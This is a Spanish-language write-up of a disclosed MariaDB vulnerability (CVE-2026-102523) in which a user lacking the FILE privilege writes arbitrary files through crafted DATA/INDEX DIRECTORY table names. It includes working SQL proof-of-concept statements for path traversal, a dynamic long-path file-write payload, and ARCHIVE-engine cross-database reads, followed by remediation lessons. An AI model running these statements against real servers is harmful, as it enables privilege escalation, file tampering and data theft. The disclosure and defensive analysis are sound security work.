Reports
ALTA[PATH TRAVERSAL]#3849025

Escritura de ficheros en MariaDB sin privilegio FILE abusando de DATA/INDEX DIRECTORY

Un usuario de MariaDB con permisos normales de esquema, pero sin el privilegio global FILE, podía forzar la escritura de datos casi arbitrarios en rutas elegidas por él abusando de DATA DIRECTORY e INDEX DIRECTORY al crear tablas.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

MariaDB restringe la escritura de ficheros desde SQL con el privilegio global FILE: sin él, una sentencia como SELECT ... INTO OUTFILE se rechaza con ERROR 1227 (42000): Access denied; you need (at least one of) the FILE privilege(s).

El investigador demostró que esa barrera se podía sortear. Un usuario con permisos corrientes a nivel de esquema (SELECT, INSERT, CREATE…) pero sin FILE podía conseguir que el proceso mariadbd escribiera contenido casi arbitrario en rutas de su elección, encadenando varios fallos en el tratamiento de las cláusulas DATA DIRECTORY e INDEX DIRECTORY de CREATE TABLE. El caso recibió el identificador CVE-2026-102523, fue marcado como Resolved y se divulgó públicamente.

El punto de partida es que las tablas pueden ubicar sus ficheros de datos e índices fuera del directorio de datos:

SELECT VERSION(), @@have_symlink;
-- 13.1.0-MariaDB, YES

-- InnoDB: solo soporta DATA DIRECTORY, crea los directorios que falten
--   y escribe en <directorio>/<db>/<tabla>.idb
CREATE TABLE poc_innodb(a INT)
  ENGINE=InnoDB
  DATA DIRECTORY='/tmp/poc';

-- MyISAM / Aria: soportan DATA e INDEX DIRECTORY (que deben existir ya)
--   y escriben en <directorio>/<tabla>.<ext>
CREATE TABLE poc_myisam(a INT KEY)
  ENGINE=MyISAM
  DATA DIRECTORY='/tmp/poc'
  INDEX DIRECTORY='/tmp/poc';

CREATE TABLE poc_aria(a INT)
  ENGINE=Aria
  DATA DIRECTORY='/tmp/poc'
  INDEX DIRECTORY='/tmp/poc';

Hasta aquí el comportamiento es el esperado: el directorio destino debe ser escribible por mariadbd y los ficheros no pueden existir previamente.

Pasos de reproducción

El investigador describe tres debilidades que se suman.

1. Travesía de directorios por el nombre de la tabla. Los nombres de tabla normales se construyen con build_table_filename(), que pasa base de datos y tabla por tablename_to_filename() para sanearlos (los / y . se codifican como @002f, @002e…). Sin embargo, cuando la tabla tiene directorios externos, MariaDB usa append_file_to_dir() sobre create_info.data_file_name e index_file_name, añadiendo el nombre de la tabla sin sanearlo:

/* Fix names if symlinked or relocated tables */
if (append_file_to_dir(thd, &create_info.data_file_name,
                       &create_table->table_name) ||
    append_file_to_dir(thd, &create_info.index_file_name,
                       &create_table->table_name))
  goto end_with_restore_list;

Como consecuencia, un nombre de tabla con ../ desplaza el fichero fuera del directorio declarado:

CREATE TABLE `../../../tmp/poc_myisam`(a INT)
  DATA DIRECTORY='/tmp/foo/bar'
  ENGINE=MyISAM;
-- se crea /tmp/poc_myisam.MYD en lugar de un fichero bajo /tmp/foo/bar

2. Travesía hacia directorios restringidos. Después, error_if_data_home_dir() debería impedir escribir dentro del directorio de datos. Esa comprobación resuelve la ruta real con test_if_data_home_dir() → fn_format(..., MY_RETURN_REAL_PATH) → my_realpath(), que internamente llama a realpath(). El problema: si la ruta contiene segmentos que no existen, realpath() falla y my_realpath() cae en my_load_path(), que no resuelve de verdad la ruta. Así la comprobación pasa y se permite la travesía:

SELECT @@datadir;
-- /var/lib/mysql

-- rechazado porque la ruta resuelve dentro del datadir:
CREATE TABLE `../../var/lib/mysql/poc_myisam_datadir`(a INT KEY)
  ENGINE=MyISAM
  DATA DIRECTORY='/tmp/poc';
-- ERROR 1210 (HY000): Incorrect arguments to DATA DIRECTORY

-- aceptado: el directorio inexistente hace fallar realpath() y se salta la comprobación:
CREATE TABLE `../../../var/lib/mysql/poc_myisam_datadir`(a INT KEY)
  ENGINE=MyISAM
  DATA DIRECTORY='/tmp/poc/does-not-exist-myisam';
-- crea /var/lib/mysql/poc_myisam_datadir.MYD

3. Nombre de fichero de datos arbitrario (el fallo clave). Al pasar los nombres a los motores de almacenamiento, estos los reformatean añadiendo la extensión con fn_format():

fn_format(dfilename, ci->data_file_name, "", MI_NAME_DEXT,
          MY_UNPACK_FILENAME |
          (have_dext ? MY_REPLACE_EXT : MY_APPEND_EXT));

Pero si data_file_name es lo bastante largo (508–511 bytes), fn_format() no añade la extensión, porque el resultado superaría FN_REFLEN (512). En ese caso devuelve el nombre original tal cual:

if (strlen(dev)+length+strlen(ext) >= FN_REFLEN || length >= FN_LEN )
{
  /* To long path, return original or NULL */
  ...
  (void) strmake(to,startpos,MY_MIN(tmp_length,FN_REFLEN-1));
}

Normalmente cleanup_dirname() normaliza la ruta antes y resuelve las travesías, pero el investigador señala que las rutas que empiezan con varios /.. seguidos o que contienen ~foo/../../.. no se tratan bien:

if (pos[1] == FN_HOMELIB ||
   (pos >= start && memcmp(pos, parent, length) == 0))
{					/* Don't remove ~user/ */
  pos=strmov(end_parentdir+1,parent);
  *pos=FN_LIBCHAR;
  continue;
}

Combinando ambas cosas se mantiene el nombre interno artificialmente largo (para que el motor no añada extensión) mientras el sistema operativo lo resuelve a una ruta corta y concreta. El PoC construye dinámicamente el DATA DIRECTORY con una tira de /.. calculada en función de la longitud de la ruta objetivo, crea una tabla MyISAM cuyo nombre es el del fichero destino y escribe el contenido mediante un INSERT sobre una columna CHAR(...) CHARACTER SET binary:

SET @target  = '/tmp/objetivo';           -- ruta y nombre del fichero a escribir
SET @payload = '... contenido a escribir ...';

SELECT SUBSTRING_INDEX(@target, '/', -1) INTO @tbl;
SELECT CONCAT(REPEAT('/..', FLOOR((511 - LENGTH(@target)) / 3)),
       LEFT(@target, LENGTH(@target) - LENGTH(@tbl) - 1)) INTO @dir;
SELECT CONCAT("CREATE TABLE `", @tbl,
       "`(payload CHAR(", LENGTH(@payload),
       ") CHARACTER SET binary NOT NULL) ENGINE=MyISAM DATA DIRECTORY='", @dir, "'") INTO @sql;
PREPARE tbl_create FROM @sql;
EXECUTE tbl_create;

SELECT CONCAT('INSERT INTO `', @tbl, '` VALUES (BINARY(?))') INTO @sql;
PREPARE tbl_insert FROM @sql;
EXECUTE tbl_insert USING @payload;

El fichero resultante queda con un único byte de cabecera de fila (0xff) por delante del contenido; salvo ese byte, el resto de los bytes del fichero los controla el atacante. El investigador apunta que distintos motores y tipos de campo ofrecen distintos bytes de encuadre de fila según lo que necesite el atacante.

Bonus: sobrescritura/borrado con el motor ARCHIVE. El motor opcional ARCHIVE abre el fichero de datos destino con O_CREAT|O_RDWR sin O_EXCL ni O_TRUNC y reescribe la cabecera del archivo:

if (!(azopen(&create_stream, name_buff, O_CREAT|O_RDWR|O_BINARY)))

Aunque la extensión se fuerza a .ARZ, usando el truco de la ruta larga se pueden tener como objetivo ficheros sin extensión, que pueden sobrescribirse o borrarse al hacer DROP TABLE. El investigador demuestra además una fuga de datos entre bases de datos: creando en testdb una tabla ARCHIVE que apunta por DATA DIRECTORY al mismo fichero que una tabla secret de victimdb, se podían leer filas de la tabla ajena pese a no tener permiso SELECT sobre ella:

USE testdb;
SELECT * FROM `victimdb`.`secret`;
-- ERROR 1142 (42000): SELECT command denied to user ... for table `victimdb`.`secret`

CREATE TABLE `secret` (data CHAR(255) CHARACTER SET binary NOT NULL)
  ENGINE=ARCHIVE DATA DIRECTORY='/tmp/poc' COMMENT='foo';
INSERT INTO `secret` VALUES ('test 1'), ('test 2');
SELECT * FROM `secret`;
-- secret 1
-- secret 2

Impacto

Un usuario de base de datos con privilegios ordinarios a nivel de esquema, y expresamente sin el privilegio FILE que debería ser necesario para escribir ficheros, podía:

  • Escribir contenido casi arbitrario (todos los bytes salvo uno inicial de encuadre) en rutas que él elige, incluido fuera del directorio de datos de MariaDB.
  • Colocar ficheros con nombre y extensión arbitrarios, lo que, según dónde escriba el proceso mariadbd, puede derivar en ejecución de código (por ejemplo, dejando un fichero interpretable en una ruta servida por otro proceso).
  • Con el motor ARCHIVE, sobrescribir o borrar ficheros sin extensión al eliminar la tabla, y leer datos de tablas de otra base de datos sin tener permiso de lectura sobre ellas, apuntando dos tablas al mismo fichero de datos.

En conjunto es una elevación efectiva de privilegios: se saltan los controles que FILE y la separación entre bases de datos deberían garantizar.

Remediación

El reporte fue marcado como Resolved por el programa de MariaDB y se le asignó CVE-2026-102523. La causa raíz está en que los nombres de tabla con directorios externos no pasan por el mismo saneamiento (tablename_to_filename()) que el resto, en que la comprobación error_if_data_home_dir() se apoya en una resolución de ruta que falla de forma insegura cuando hay segmentos inexistentes, y en el caso límite de fn_format() que omite la extensión con rutas largas. La corrección pasa por sanear también estas rutas y por que las comprobaciones de ubicación no puedan eludirse con rutas que realpath() no resuelve.

Qué aprender de este caso

  • Cuando una ruta de salida se construye concatenando entrada del usuario (aquí el nombre de tabla vía append_file_to_dir()), revisa que pase por el mismo saneamiento que las rutas construidas por el camino "normal": este fallo nace justo de que una rama usaba tablename_to_filename() y la otra no.
  • Desconfía de las comprobaciones de seguridad que dependen de realpath()/resolución de rutas reales: si la ruta contiene componentes que aún no existen, muchas implementaciones fallan y caen a una normalización más débil (my_load_path()), dejando pasar la travesía. Valida sobre rutas que no dependan de que el destino exista ya.
  • Los límites de longitud de buffer pueden convertirse en un bypass de lógica: aquí, superar FN_REFLEN hacía que fn_format() devolviera el nombre sin añadir la extensión. Al revisar código que añade sufijos/extensiones, comprueba qué pasa en el caso "demasiado largo", no solo en el camino feliz.
  • En bases de datos, trata DATA DIRECTORY/INDEX DIRECTORY y motores que abren ficheros sin O_EXCL/O_TRUNC (como ARCHIVE con O_CREAT|O_RDWR) como superficie sensible: permiten apuntar dos tablas al mismo fichero y leer o pisar datos ajenos aunque falten los permisos SELECT.